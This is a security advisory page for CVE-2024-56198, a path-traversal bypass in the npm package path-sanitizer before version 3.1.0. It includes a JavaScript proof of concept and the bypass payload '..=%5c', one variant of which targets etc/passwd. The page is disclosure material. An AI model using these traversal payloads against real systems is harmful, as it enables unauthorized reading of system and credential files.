GHSA-94P5-R7CC-3RPR

Vulnerability from github – Published: 2025-01-02 12:52 – Updated: 2025-01-02 12:52
VLAI?
Summary
path-sanitizer allows bypassing the existing filters to achieve path-traversal vulnerability
Details

Summary

This is a POC for a path-sanitizer npm package. The filters can be bypassed and can result in path traversal.

Payload: ..=%5c can be used to bypass this on CLI (along with other candidates). Something similar would likely work on web apps as well.

PoC

Here's the code to test for the filter bypass:

const sanitize = require("path-sanitizer")
const path = require("path")
const fs = require("fs")

// Real scenario:
function routeHandler(myPath) {
  // Lets just assume that the path was extracted from the request
  // We want to read a file in the C:\Users\user\Desktop\myApp\ directory
  // But the user should be able to access C:\Users\user\Desktop\
  // So we need to sanitize the path

  const APP_DIR = "/var/hacker"
  const sanitized = path.join(APP_DIR, sanitize(myPath))

  // Now we would usally read the file
  // But in this case we just gonna print the path
  // console.log(sanitized)
  return sanitized
}

function readFile(filePath) {
  const absolutePath = path.resolve(filePath) // Resolve to absolute path

  fs.readFile(absolutePath, "utf8", (err, data) => {
    if (err) {
      console.error(`Error reading the file: ${err.message}`)
      return
    }
    console.log(`Contents of the file ${filePath} :\n${data}`)
  })
}

input_user_bypass = "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt"
// input_user_bypass = "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd"
input_user_payload = "../../../../../../../../tmp/hacked.txt"

readFile(routeHandler(input_user_bypass))
readFile(routeHandler(input_user_payload))

Here is a video POC: (this is a Loom POC, only users with the UUID of the video can see it)

https://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d

Impact

Any CLI tool or library using this package can be/will be vulnerable to Path traversal.

Severity ?
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "path-sanitizer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-56198"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-02T12:52:42Z",
    "nvd_published_at": "2024-12-31T16:15:27Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThis is a POC for a path-sanitizer [npm package](https://www.npmjs.com/package/path-sanitizer). The filters can be bypassed and can result in path traversal.\n\nPayload: `..=%5c` can be used to bypass this on CLI (along with other candidates). Something similar would likely work on web apps as well. \n\n### PoC\nHere\u0027s the code to test for the filter bypass:\n\n```js\nconst sanitize = require(\"path-sanitizer\")\nconst path = require(\"path\")\nconst fs = require(\"fs\")\n\n// Real scenario:\nfunction routeHandler(myPath) {\n  // Lets just assume that the path was extracted from the request\n  // We want to read a file in the C:\\Users\\user\\Desktop\\myApp\\ directory\n  // But the user should be able to access C:\\Users\\user\\Desktop\\\n  // So we need to sanitize the path\n\n  const APP_DIR = \"/var/hacker\"\n  const sanitized = path.join(APP_DIR, sanitize(myPath))\n\n  // Now we would usally read the file\n  // But in this case we just gonna print the path\n  // console.log(sanitized)\n  return sanitized\n}\n\nfunction readFile(filePath) {\n  const absolutePath = path.resolve(filePath) // Resolve to absolute path\n\n  fs.readFile(absolutePath, \"utf8\", (err, data) =\u003e {\n    if (err) {\n      console.error(`Error reading the file: ${err.message}`)\n      return\n    }\n    console.log(`Contents of the file ${filePath} :\\n${data}`)\n  })\n}\n\ninput_user_bypass = \"..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt\"\n// input_user_bypass = \"..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd\"\ninput_user_payload = \"../../../../../../../../tmp/hacked.txt\"\n\nreadFile(routeHandler(input_user_bypass))\nreadFile(routeHandler(input_user_payload))\n```\n\nHere is a video POC: (this is a Loom POC, only users with the UUID of the video can see it) \n\nhttps://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d\n\n### Impact\nAny CLI tool or library using this package can be/will be vulnerable to Path traversal.\n",
  "id": "GHSA-94p5-r7cc-3rpr",
  "modified": "2025-01-02T12:52:43Z",
  "published": "2025-01-02T12:52:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cabraviva/path-sanitizer/security/advisories/GHSA-94p5-r7cc-3rpr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56198"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cabraviva/path-sanitizer/commit/b6d2319eac910dffdfacc8460f5b5cc5a1518ead"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cabraviva/path-sanitizer"
    },
    {
      "type": "WEB",
      "url": "https://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "path-sanitizer allows bypassing the existing filters to achieve path-traversal vulnerability "
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.